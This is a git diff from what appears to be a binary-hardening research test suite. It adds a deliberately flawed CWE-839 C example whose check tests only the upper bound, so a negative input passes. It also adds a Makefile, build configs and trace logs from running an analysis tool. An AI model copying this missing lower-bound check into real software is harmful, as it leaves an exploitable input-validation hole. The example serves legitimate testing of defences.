CWE_682_Example_1_bad.idb CWE_682_Example_1_bad.ncexe* stratafier.o.exe *.conf CWE_682_Example_3_bad.asm CWE_682_Example_3_bad.idb CWE_682_Example_3_bad.ncexe* stratafier.o.exe *.conf $(CLEANEXTRAS) *.ps_analyze.log + rm -rf peasoup_executable_directory* + +targets: CWE_682_Example_1_bad.ncexe CWE_682_Example_3_bad.ncexe + +analyze: targets CWE_682_Example_1_bad CWE_682_Example_3_bad + +runall: CWE_682_Example_1_bad.run CWE_682_Example_3_bad.run + diff --git a/examples/integerbugs/C1_Number_Handling/CWE_839/CWE_839_Example_1_bad.c b/examples/integerbugs/C1_Number_Handling/CWE_839/CWE_839_Example_1_bad.c new file mode 100644 index 0000000000000000000000000000000000000000..955d1e2ef347b23f3c7a4688fc5595632dfcdd29 --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_839/CWE_839_Example_1_bad.c @@ -0,0 +1,36 @@ +/* +Description Summary +The program checks a value to ensure that it does not exceed a maximum, but it does not verify that the value exceeds the minimum. + +Extended Description +Some programs use signed integers or floats even when their values are only expected to be positive or 0. An input validation check might assume that the value is positive, and only check for the maximum value. If the value is negative, but the code assumes that the value is positive, this can produce an error. The error may have security consequences if the negative value is used for memory allocation, array access, buffer access, etc. Ultimately, the error could lead to a buffer overflow or other type of memory corruption. + +The use of a negative number in a positive-only context could have security implications for other types of resources. For example, a shopping cart might check that the user is not requesting more than 10 items, but a request for -3 items could cause the application to calculate a negative price and credit the attacker's account. + +@GOOD_ARGS 35 +@NORMAL_OUTPUT_CONTAINS n is between +@BAD_ARGS -35 +@ATTACK_SUCCEEDED_OUTPUT_NOT_CONTAINS n is NOT between + +*/ + +#include <stdio.h> +#include <stdlib.h> + +int ok(int n) +{ + return (n < 50); +} + +int main(int argc, char **argv) +{ + if (ok(atoi(argv[1]))) + { + printf("n is between 0 and 50\n"); + } + else + { + printf("n is NOT between 0 and 50\n"); + } + exit(0); +} diff --git a/examples/integerbugs/C1_Number_Handling/CWE_839/CWE_839_Example_1_bad.conf b/examples/integerbugs/C1_Number_Handling/CWE_839/CWE_839_Example_1_bad.conf new file mode 100644 index 0000000000000000000000000000000000000000..77fc4a74f7142cc9ffd252af13646d86e1875502 --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_839/CWE_839_Example_1_bad.conf @@ -0,0 +1,2 @@ +cc -fno-stack-protector -static CWE_839_Example_1_bad.c -o CWE_839_Example_1_bad.ncexe +sh /home/jdh8d/peasoup/uva/peasoup.home.trunk/tools/ps_analyze.sh CWE_839_Example_1_bad.ncexe CWE_839_Example_1_bad diff --git a/examples/integerbugs/C1_Number_Handling/CWE_839/CWE_839_Example_1_bad.ncexe b/examples/integerbugs/C1_Number_Handling/CWE_839/CWE_839_Example_1_bad.ncexe new file mode 100755 index 0000000000000000000000000000000000000000..a11d916693b4f3614ca13b62f18c8245a7521ed4 Binary files /dev/null and b/examples/integerbugs/C1_Number_Handling/CWE_839/CWE_839_Example_1_bad.ncexe differ diff --git a/examples/integerbugs/C1_Number_Handling/CWE_839/CWE_839_Example_1_bad.ncexe.conf b/examples/integerbugs/C1_Number_Handling/CWE_839/CWE_839_Example_1_bad.ncexe.conf new file mode 100644 index 0000000000000000000000000000000000000000..1229c6e269ccbc1064fa02798df7dd3ac7aa03ac --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_839/CWE_839_Example_1_bad.ncexe.conf @@ -0,0 +1 @@ +cc -fno-stack-protector -static CWE_839_Example_1_bad.c -o CWE_839_Example_1_bad.ncexe diff --git a/examples/integerbugs/C1_Number_Handling/CWE_839/CWE_839_Example_1_bad.ps_analyze.log b/examples/integerbugs/C1_Number_Handling/CWE_839/CWE_839_Example_1_bad.ps_analyze.log new file mode 100644 index 0000000000000000000000000000000000000000..2e76896ec100bca9728ffc13c3e2179545967c04 --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_839/CWE_839_Example_1_bad.ps_analyze.log @@ -0,0 +1,152 @@ ++ error_threshold=0 ++ date --iso-8601=seconds ++ ps_starttime=2011-10-10T06:20:31-0700 ++ stepnum=0 ++ check_environ_vars PEASOUP_HOME SMPSA_HOME STRATA_HOME SECURITY_TRANSFORMS_HOME IDAROOT ++ [ true ] ++ [ -z PEASOUP_HOME ] ++ varg=$PEASOUP_HOME ++ eval val=$PEASOUP_HOME ++ val=/home/jdh8d/peasoup/uva/peasoup.home.trunk ++ [ -z /home/jdh8d/peasoup/uva/peasoup.home.trunk ] ++ shift ++ [ true ] ++ [ -z SMPSA_HOME ] ++ varg=$SMPSA_HOME ++ eval val=$SMPSA_HOME ++ val=/home/jdh8d/peasoup/uva/SMPStaticAnalyzer ++ [ -z /home/jdh8d/peasoup/uva/SMPStaticAnalyzer ] ++ shift ++ [ true ] ++ [ -z STRATA_HOME ] ++ varg=$STRATA_HOME ++ eval val=$STRATA_HOME ++ val=/home/jdh8d/peasoup/uva/strata_head ++ [ -z /home/jdh8d/peasoup/uva/strata_head ] ++ shift ++ [ true ] ++ [ -z SECURITY_TRANSFORMS_HOME ] ++ varg=$SECURITY_TRANSFORMS_HOME ++ eval val=$SECURITY_TRANSFORMS_HOME ++ val=/home/jdh8d/peasoup/uva/security_transforms.trunk ++ [ -z /home/jdh8d/peasoup/uva/security_transforms.trunk ] ++ shift ++ [ true ] ++ [ -z IDAROOT ] ++ varg=$IDAROOT ++ eval val=$IDAROOT ++ val=/home/jdh8d/peasoup/uva/idapro61/ida ++ [ -z /home/jdh8d/peasoup/uva/idapro61/ida ] ++ shift ++ [ true ] ++ [ -z ] ++ return ++ check_files /home/jdh8d/peasoup/uva/peasoup.home.trunk/tools/getsyms.sh /home/jdh8d/peasoup/uva/SMPStaticAnalyzer/SMP-analyze.sh /home/jdh8d/peasoup/uva/strata_head/tools/pc_confinement/stratafy_with_pc_confine.sh ++ [ true ] ++ [ -z /home/jdh8d/peasoup/uva/peasoup.home.trunk/tools/getsyms.sh ] ++ [ ! -f /home/jdh8d/peasoup/uva/peasoup.home.trunk/tools/getsyms.sh ] ++ shift ++ [ true ] ++ [ -z /home/jdh8d/peasoup/uva/SMPStaticAnalyzer/SMP-analyze.sh ] ++ [ ! -f /home/jdh8d/peasoup/uva/SMPStaticAnalyzer/SMP-analyze.sh ] ++ shift ++ [ true ] ++ [ -z /home/jdh8d/peasoup/uva/strata_head/tools/pc_confinement/stratafy_with_pc_confine.sh ] ++ [ ! -f /home/jdh8d/peasoup/uva/strata_head/tools/pc_confinement/stratafy_with_pc_confine.sh ] ++ shift ++ [ true ] ++ [ -z ] ++ return ++ [ -z CWE_839_Example_1_bad ] ++ orig_exe=CWE_839_Example_1_bad.ncexe ++ newname=a ++ shift ++ stratafied_exe=CWE_839_Example_1_bad ++ shift ++ check_options ++ getopt -o s: --long step: --long manual_test_script: -n ps_analyze.sh -- ++ TEMP= -- ++ [ 0 != 0 ] ++ eval set -- -- ++ set -- -- ++ true ++ shift ++ break ++ [ -z ] ++ phases_off= manual_test=off ++ [ ! -z ] ++ [ ! -z ] ++ basename CWE_839_Example_1_bad.ncexe ++ name=CWE_839_Example_1_bad.ncexe ++ newdir=peasoup_executable_directory.CWE_839_Example_1_bad.ncexe.6585 ++ mkdir peasoup_executable_directory.CWE_839_Example_1_bad.ncexe.6585 ++ cp CWE_839_Example_1_bad.ncexe peasoup_executable_directory.CWE_839_Example_1_bad.ncexe.6585/a.ncexe ++ rm -f CWE_839_Example_1_bad ++ cd peasoup_executable_directory.CWE_839_Example_1_bad.ncexe.6585 ++ mkdir logs ++ perform_step stratafy_with_pc_confine sh /home/jdh8d/peasoup/uva/strata_head/tools/pc_confinement/stratafy_with_pc_confine.sh a.ncexe a.stratafied ++ step=stratafy_with_pc_confine ++ shift ++ command=sh /home/jdh8d/peasoup/uva/strata_head/tools/pc_confinement/stratafy_with_pc_confine.sh a.ncexe a.stratafied ++ is_step_on stratafy_with_pc_confine ++ step=stratafy_with_pc_confine ++ echo manual_test=off ++ egrep stratafy_with_pc_confine=off ++ [ 1 -eq 0 ] ++ return 1 ++ [ 1 -eq 0 ] ++ logfile=logs/stratafy_with_pc_confine.log ++ echo -n Performing step stratafy_with_pc_confine ... +Performing step stratafy_with_pc_confine ...+ date --iso-8601=seconds ++ starttime=2011-10-10T06:20:31-0700 ++ [ ! -z 1 ] ++ sh /home/jdh8d/peasoup/uva/strata_head/tools/pc_confinement/stratafy_with_pc_confine.sh a.ncexe a.stratafied+ +tee logs/stratafy_with_pc_confine.log +infile is a.ncexe +outfile is tmp.exe.6597 +stratafier_file is +Executable sections are .init .text __libc_freeres_fn .fini +a.ncexe-.init 8048138 000030 +a.ncexe-.text 8048170 05e9dc +a.ncexe-__libc_freeres_fn 80a6b50 000b57 +a.ncexe-.fini 80a76a8 00001c +EOF 0 0 +cp tmp.exe.6597 ./exe_copy.temp +cp /home/jdh8d/peasoup/uva/stratafier/stratafier.o ./strata_exe.temp +Original entry point is 0x8048170 +ld --section-start .note.ABI-tag=0x90c90d4 --section-start .init=0x90c90f4 /home/jdh8d/peasoup/uva/stratafier/stratafier.o -T/home/jdh8d/peasoup/uva/stratafier/test_ld_script -o /home/jdh8d/peasoup/uva/stratafier/stratafier.o.exe -static +/home/jdh8d/peasoup/uva/stratafier/strata_to_data /home/jdh8d/peasoup/uva/stratafier/stratafier.o.exe strata.linked.data 0x90c9000 +address=90c9000 +Found nobits seg .bss +Found nobits seg __libc_freeres_ptrs +ls: cannot access new.exe: No such file or directory +/home/jdh8d/peasoup/uva/binutils-2.19/binutils/objcopy --add-segment .strata=PT_LOAD,0x90c9000,0,0,7,1000 --add-section .strata=strata.linked.data --change-section-address .strata=0x90c9000 --set-section-flags .strata=alloc ./exe_copy.temp new.exe +Adding segment name=.strata, properties=PT_LOAD,0x90c9000,0,0,7,1000adding segment .strata with type=1, vaddr=90c9000, filesz=0, memsz=0, flags=7, align=4096 +Adding .strata as section 0 + +objcopy --set-start 0x090c9220 new.exe +infile is a.ncexe +outfile is tmp.exe.6597 +stratafier_file is stratafier.o.exe +Executable sections are .init .text __libc_freeres_fn .fini +[STRATA TRANSLATED START: 090c9290] +a.ncexe-.init 8048138 000030 +a.ncexe-.text 8048170 05e9dc +a.ncexe-__libc_freeres_fn 80a6b50 000b57 +a.ncexe-.fini 80a76a8 00001c +strata_translated_startup 090c9290 7 +EOF 0 0 +cp tmp.exe.6597 ./exe_copy.temp +cp /home/jdh8d/peasoup/uva/stratafier/stratafier.o ./strata_exe.temp +Original entry point is 0x8048170 +ld --section-start .note.ABI-tag=0x90c90d4 --section-start .init=0x90c90f4 /home/jdh8d/peasoup/uva/stratafier/stratafier.o -T/home/jdh8d/peasoup/uva/stratafier/test_ld_script -o /home/jdh8d/peasoup/uva/stratafier/stratafier.o.exe -static +/home/jdh8d/peasoup/uva/stratafier/strata_to_data /home/jdh8d/peasoup/uva/stratafier/stratafier.o.exe strata.linked.data 0x90c9000 +address=90c9000 +Found nobits seg .bss +Found nobits seg __libc_freeres_ptrs +/home/jdh8d/peasoup/uva/binutils-2.19/binutils/objcopy --add-segment .strata=PT_LOAD,0x90c9000,3677042,3677042,7,1000 --add-section .strata=strata.linked.data --change-section-address .strata=0x90c9000 --set-section-flags .strata=alloc ./exe_copy.temp new.exe +Adding segment name=.strata, properties=PT_LOAD,0x90c9000,3677042,3677042,7,1000adding segment .strata with type=1, vaddr=90c9000, filesz=57110594, memsz=57110594, flags=7, align=4096 +Adding .strata as section 0 + +objcopy --set-start 0x090c9220 new.exe +/home/jdh8d/peasoup/uva/peasoup.home.trunk/tools/ps_analyze.sh: 1: Bad substitution diff --git a/examples/integerbugs/C1_Number_Handling/CWE_839/Makefile b/examples/integerbugs/C1_Number_Handling/CWE_839/Makefile new file mode 100644 index 0000000000000000000000000000000000000000..e5a3bb3fbca87f836aa1aff230700474c2289fa3 --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_839/Makefile @@ -0,0 +1,33 @@ +# DO NOT EDIT - This Makefile automatically generated +include ../../Makefile.options +include $(wildcard Makefile.options) + +all: runall + +test: + ../../../scripts/test.pl $(TESTFLAGS) . + +CWE_839_Example_1_bad.ncexe: CWE_839_Example_1_bad.c + $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) + @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >CWE_839_Example_1_bad.conf + +CWE_839_Example_1_bad: CWE_839_Example_1_bad.ncexe + sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee CWE_839_Example_1_bad.ps_analyze.log + cp CWE_839_Example_1_bad.conf CWE_839_Example_1_bad.ncexe.conf + @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> CWE_839_Example_1_bad.conf + +CWE_839_Example_1_bad.run: CWE_839_Example_1_bad + ../../../scripts/test.pl $(TESTFLAGS) CWE_839_Example_1_bad.ncexe + +clean: + rm -f CWE_839_Example_1_bad.ncexe + rm -f CWE_839_Example_1_bad + rm -f summary.csv logfail.txt logfile.txt CWE_839_Example_1_bad.asm CWE_839_Example_1_bad.idb CWE_839_Example_1_bad.ncexe* stratafier.o.exe *.conf $(CLEANEXTRAS) *.ps_analyze.log + rm -rf peasoup_executable_directory* + +targets: CWE_839_Example_1_bad.ncexe + +analyze: targets CWE_839_Example_1_bad + +runall: CWE_839_Example_1_bad.run + diff --git a/examples/integerbugs/C1_Number_Handling/CWE_839/peasoup_executable_directory.CWE_839_Example_1_bad.ncexe.6585/a.ncexe b/examples/integerbugs/C1_Number_Handling/CWE_839/peasoup_executable_directory.CWE_839_Example_1_bad.ncexe.6585/a.ncexe new file mode 100755 index 0000000000000000000000000000000000000000..a11d916693b4f3614ca13b62f18c8245a7521ed4 Binary files /dev/null and b/examples/integerbugs/C1_Number_Handling/CWE_839/peasoup_executable_directory.CWE_839_Example_1_bad.ncexe.6585/a.ncexe differ diff --git a/examples/integerbugs/C1_Number_Handling/CWE_839/peasoup_executable_directory.CWE_839_Example_1_bad.ncexe.6585/a.stratafied.REMOVED.git-id b/examples/integerbugs/C1_Number_Handling/CWE_839/peasoup_executable_directory.CWE_839_Example_1_bad.ncexe.6585/a.stratafied.REMOVED.git-id new file mode 100644 index 0000000000000000000000000000000000000000..74f474280489b19cddb1ce3fde210651b964523b --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_839/peasoup_executable_directory.CWE_839_Example_1_bad.ncexe.6585/a.stratafied.REMOVED.git-id @@ -0,0 +1 @@ +d55c175421c438acdb90c76d1915e9cd04ddc71a \ No newline at end of file diff --git a/examples/integerbugs/C1_Number_Handling/CWE_839/peasoup_executable_directory.CWE_839_Example_1_bad.ncexe.6585/logs/stratafy_with_pc_confine.log b/examples/integerbugs/C1_Number_Handling/CWE_839/peasoup_executable_directory.CWE_839_Example_1_bad.ncexe.6585/logs/stratafy_with_pc_confine.log new file mode 100644 index 0000000000000000000000000000000000000000..6afde8ed0c0b5f7c2a47274bdb78b8c8ab30e7cc --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_839/peasoup_executable_directory.CWE_839_Example_1_bad.ncexe.6585/logs/stratafy_with_pc_confine.log @@ -0,0 +1,47 @@ +infile is a.ncexe +outfile is tmp.exe.6597 +stratafier_file is +Executable sections are .init .text __libc_freeres_fn .fini +a.ncexe-.init 8048138 000030 +a.ncexe-.text 8048170 05e9dc +a.ncexe-__libc_freeres_fn 80a6b50 000b57 +a.ncexe-.fini 80a76a8 00001c +EOF 0 0 +cp tmp.exe.6597 ./exe_copy.temp +cp /home/jdh8d/peasoup/uva/stratafier/stratafier.o ./strata_exe.temp +Original entry point is 0x8048170 +ld --section-start .note.ABI-tag=0x90c90d4 --section-start .init=0x90c90f4 /home/jdh8d/peasoup/uva/stratafier/stratafier.o -T/home/jdh8d/peasoup/uva/stratafier/test_ld_script -o /home/jdh8d/peasoup/uva/stratafier/stratafier.o.exe -static +/home/jdh8d/peasoup/uva/stratafier/strata_to_data /home/jdh8d/peasoup/uva/stratafier/stratafier.o.exe strata.linked.data 0x90c9000 +address=90c9000 +Found nobits seg .bss +Found nobits seg __libc_freeres_ptrs +ls: cannot access new.exe: No such file or directory +/home/jdh8d/peasoup/uva/binutils-2.19/binutils/objcopy --add-segment .strata=PT_LOAD,0x90c9000,0,0,7,1000 --add-section .strata=strata.linked.data --change-section-address .strata=0x90c9000 --set-section-flags .strata=alloc ./exe_copy.temp new.exe +Adding segment name=.strata, properties=PT_LOAD,0x90c9000,0,0,7,1000adding segment .strata with type=1, vaddr=90c9000, filesz=0, memsz=0, flags=7, align=4096 +Adding .strata as section 0 + +objcopy --set-start 0x090c9220 new.exe +infile is a.ncexe +outfile is tmp.exe.6597 +stratafier_file is stratafier.o.exe +Executable sections are .init .text __libc_freeres_fn .fini +[STRATA TRANSLATED START: 090c9290] +a.ncexe-.init 8048138 000030 +a.ncexe-.text 8048170 05e9dc +a.ncexe-__libc_freeres_fn 80a6b50 000b57 +a.ncexe-.fini 80a76a8 00001c +strata_translated_startup 090c9290 7 +EOF 0 0 +cp tmp.exe.6597 ./exe_copy.temp +cp /home/jdh8d/peasoup/uva/stratafier/stratafier.o ./strata_exe.temp +Original entry point is 0x8048170 +ld --section-start .note.ABI-tag=0x90c90d4 --section-start .init=0x90c90f4 /home/jdh8d/peasoup/uva/stratafier/stratafier.o -T/home/jdh8d/peasoup/uva/stratafier/test_ld_script -o /home/jdh8d/peasoup/uva/stratafier/stratafier.o.exe -static +/home/jdh8d/peasoup/uva/stratafier/strata_to_data /home/jdh8d/peasoup/uva/stratafier/stratafier.o.exe strata.linked.data 0x90c9000 +address=90c9000 +Found nobits seg .bss +Found nobits seg __libc_freeres_ptrs +/home/jdh8d/peasoup/uva/binutils-2.19/binutils/objcopy --add-segment .strata=PT_LOAD,0x90c9000,3677042,3677042,7,1000 --add-section .strata=strata.linked.data --change-section-address .strata=0x90c9000 --set-section-flags .strata=alloc ./exe_copy.temp new.exe +Adding segment name=.strata, properties=PT_LOAD,0x90c9000,3677042,3677042,7,1000adding segment .strata with type=1, vaddr=90c9000, filesz=57110594, memsz=57110594, flags=7, align=4096 +Adding .strata as section 0 + +objcopy --set-start 0x090c9220 new.exe diff --git a/examples/integerbugs/C1_Number_Handling/CWE_839/peasoup_executable_directory.CWE_839_Example_1_bad.ncexe.6585/stratafier.o.exe.REMOVED.git-id b/examples/integerbugs/C1_Number_Handling/CWE_839/peasoup_executable_directory.CWE_839_Example_1_bad.ncexe.6585/stratafier.o.exe.REMOVED.git-id new file mode 100644 index 0000000000000000000000000000000000000000..3e4d7c76214b34790a29d8b2c7e263b737c743ea --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_839/peasoup_executable_directory.CWE_839_Example_1_bad.ncexe.6585/stratafier.o.exe.REMOVED.git-id @@ -0,0 +1 @@ +1727dee528f3e72278986d33697f1879d2e82245 \ No newline at end of file